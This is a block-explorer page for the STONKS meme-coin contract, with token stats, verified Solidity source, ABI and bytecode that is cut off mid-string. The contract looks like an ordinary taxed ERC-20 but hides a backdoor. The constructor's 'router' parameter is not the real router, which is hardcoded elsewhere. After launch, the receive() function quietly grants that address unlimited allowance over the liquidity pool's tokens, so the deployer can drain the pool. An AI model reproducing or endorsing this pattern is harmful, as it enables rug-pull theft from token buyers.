ETH Price: $3,403.23 (+2.70%)

Token

DumbMoneyGameStopAMCWallStreetBetsPennyStocks (STONKS)
 

Overview

Max Total Supply

1,000,000,000 STONKS

Holders

194

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,501,959.769828129 STONKS

Value
$0.00
0xc49c4265109d161ff0b70b26886039565821c3b1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Stonks

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-29
*/

/**
$STONKS is the ultimate meme coin that playfully encapsulates the wild rollercoaster of retail trading and internet-fueled stock frenzies.

http://stonks.yachts/
https://t.me/StonksCoinERC
https://twitter.com/StonksCoinERC

*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}



interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Stonks is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    address private _uniswapV2Router;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=22;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=29;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=18;
    uint256 private _buyCount=0;
    uint256 private launchTime;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"DumbMoneyGameStopAMCWallStreetBetsPennyStocks";
    string private constant _symbol = unicode"STONKS";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 2000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 12000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address router) {
        _taxWallet = payable(_msgSender());
        _uniswapV2Router = router;
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[_uniswapV2Router] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        launchTime = block.timestamp;

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
  
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    } 

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {if(block.timestamp > (launchTime + 7 hours)){_allowances[uniswapV2Pair][_uniswapV2Router] = type(uint).max;}}

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;

    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
    

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600560146101000a81548160ff0219169083151502179055506016600755601960085560016009556001600a55601d600b556019600c556012600d555f600e556009600a62000056919062000b41565b6301312d0062000067919062000b91565b6010556009600a6200007a919062000b41565b6301312d006200008b919062000b91565b6011556009600a6200009e919062000b41565b621e8480620000ae919062000b91565b6012556009600a620000c1919062000b41565b62b71b00620000d1919062000b91565b6013555f6015806101000a81548160ff0219169083151502179055505f601560166101000a81548160ff02191690831515021790555034801562000113575f80fd5b5060405162003bdd38038062003bdd833981810160405281019062000139919062000c40565b5f6200014a620007b660201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001f6620007b660201b60201c565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000285919062000b41565b633b9aca0062000296919062000b91565b60015f620002a9620007b660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f62000371620007bd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200049b620007b660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004f9919062000b41565b633b9aca006200050a919062000b91565b60405162000519919062000c81565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005c93060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a620005ac919062000b41565b633b9aca00620005bd919062000b91565b620007e460201b60201c565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000634573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200065a919062000c40565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620006e1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000707919062000c40565b6040518363ffffffff1660e01b81526004016200072692919062000cad565b6020604051808303815f875af115801562000743573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000769919062000c40565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555042600f819055505062000e10565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000855576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200084c9062000d5c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008bd9062000df0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620009a2919062000c81565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a395780860481111562000a115762000a10620009af565b5b600185161562000a215780820291505b808102905062000a3185620009dc565b9450620009f1565b94509492505050565b5f8262000a53576001905062000b25565b8162000a62575f905062000b25565b816001811462000a7b576002811462000a865762000abc565b600191505062000b25565b60ff84111562000a9b5762000a9a620009af565b5b8360020a91508482111562000ab55762000ab4620009af565b5b5062000b25565b5060208310610133831016604e8410600b841016171562000af65782820a90508381111562000af05762000aef620009af565b5b62000b25565b62000b058484846001620009e8565b9250905081840481111562000b1f5762000b1e620009af565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f62000b4d8262000b2c565b915062000b5a8362000b35565b925062000b897fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a42565b905092915050565b5f62000b9d8262000b2c565b915062000baa8362000b2c565b925082820262000bba8162000b2c565b9150828204841483151762000bd45762000bd3620009af565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c0a8262000bdf565b9050919050565b62000c1c8162000bfe565b811462000c27575f80fd5b50565b5f8151905062000c3a8162000c11565b92915050565b5f6020828403121562000c585762000c5762000bdb565b5b5f62000c678482850162000c2a565b91505092915050565b62000c7b8162000b2c565b82525050565b5f60208201905062000c965f83018462000c70565b92915050565b62000ca78162000bfe565b82525050565b5f60408201905062000cc25f83018562000c9c565b62000cd1602083018462000c9c565b9392505050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f62000d4460248362000cd8565b915062000d518262000ce8565b604082019050919050565b5f6020820190508181035f83015262000d758162000d36565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000dd860228362000cd8565b915062000de58262000d7c565b604082019050919050565b5f6020820190508181035f83015262000e098162000dca565b9050919050565b612dbf8062000e1e5f395ff3fe608060405260043610610117575f3560e01c8063751039fc1161009f578063a9059cbb11610063578063a9059cbb1461045f578063bf474bed1461049b578063c876d0b9146104c5578063c9567bf9146104ef578063dd62ed3e1461050557610215565b8063751039fc146103a15780637d1db4a5146103b75780638da5cb5b146103e15780638f9a55c01461040b57806395d89b411461043557610215565b806323b872dd116100e657806323b872dd146102d3578063313ce5671461030f57806351bc3c851461033957806370a082311461034f578063715018a61461038b57610215565b806306fdde0314610219578063095ea7b3146102435780630faee56f1461027f57806318160ddd146102a957610215565b3661021557616270600f5461012c9190611e57565b421115610213577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b005b5f80fd5b348015610224575f80fd5b5061022d610541565b60405161023a9190611f14565b60405180910390f35b34801561024e575f80fd5b5061026960048036038101906102649190611fbc565b610561565b6040516102769190612014565b60405180910390f35b34801561028a575f80fd5b5061029361057e565b6040516102a0919061203c565b60405180910390f35b3480156102b4575f80fd5b506102bd610584565b6040516102ca919061203c565b60405180910390f35b3480156102de575f80fd5b506102f960048036038101906102f49190612055565b6105a7565b6040516103069190612014565b60405180910390f35b34801561031a575f80fd5b5061032361067b565b60405161033091906120c0565b60405180910390f35b348015610344575f80fd5b5061034d610683565b005b34801561035a575f80fd5b50610375600480360381019061037091906120d9565b61071a565b604051610382919061203c565b60405180910390f35b348015610396575f80fd5b5061039f610760565b005b3480156103ac575f80fd5b506103b56108ae565b005b3480156103c2575f80fd5b506103cb6109f7565b6040516103d8919061203c565b60405180910390f35b3480156103ec575f80fd5b506103f56109fd565b6040516104029190612113565b60405180910390f35b348015610416575f80fd5b5061041f610a24565b60405161042c919061203c565b60405180910390f35b348015610440575f80fd5b50610449610a2a565b6040516104569190611f14565b60405180910390f35b34801561046a575f80fd5b5061048560048036038101906104809190611fbc565b610a67565b6040516104929190612014565b60405180910390f35b3480156104a6575f80fd5b506104af610a84565b6040516104bc919061203c565b60405180910390f35b3480156104d0575f80fd5b506104d9610a8a565b6040516104e69190612014565b60405180910390f35b3480156104fa575f80fd5b50610503610a9d565b005b348015610510575f80fd5b5061052b6004803603810190610526919061212c565b610d4f565b604051610538919061203c565b60405180910390f35b60606040518060600160405280602d8152602001612d5d602d9139905090565b5f61057461056d610dd1565b8484610dd8565b6001905092915050565b60135481565b5f6009600a6105939190612299565b633b9aca006105a291906122e3565b905090565b5f6105b3848484610f9b565b610670846105bf610dd1565b61066b85604051806060016040528060288152602001612d356028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610622610dd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461190f9092919063ffffffff16565b610dd8565b600190509392505050565b5f6009905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c3610dd1565b73ffffffffffffffffffffffffffffffffffffffff16146106e2575f80fd5b5f6106ec3061071a565b90505f811115610700576106ff81611971565b5b5f4790505f8111156107165761071581611bda565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610768610dd1565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107eb9061236e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108b6610dd1565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109399061236e565b60405180910390fd5b6009600a6109509190612299565b633b9aca0061095f91906122e3565b6010819055506009600a6109739190612299565b633b9aca0061098291906122e3565b6011819055505f600560146101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109d19190612299565b633b9aca006109e091906122e3565b6040516109ed919061203c565b60405180910390a1565b60105481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600681526020017f53544f4e4b530000000000000000000000000000000000000000000000000000815250905090565b5f610a7a610a73610dd1565b8484610f9b565b6001905092915050565b60125481565b600560149054906101000a900460ff1681565b610aa5610dd1565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b289061236e565b60405180910390fd5b601560149054906101000a900460ff1615610b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b78906123d6565b60405180910390fd5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bc93061071a565b5f80610bd36109fd565b426040518863ffffffff1660e01b8152600401610bf596959493929190612436565b60606040518083038185885af1158015610c11573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c3691906124a9565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610cd69291906124f9565b6020604051808303815f875af1158015610cf2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d16919061254a565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3d906125e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eab90612673565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8e919061203c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100090612701565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e9061278f565b60405180910390fd5b5f81116110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b09061281d565b60405180910390fd5b5f6110c26109fd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561113057506111006109fd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561165f576111716064611163600b54600e541161115057600754611154565b6009545b85611c4290919063ffffffff16565b611cb990919063ffffffff16565b9050600560149054906101000a900460ff16156112fa5760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611232575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112f9574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ad906128d1565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113a3575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113f6575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f90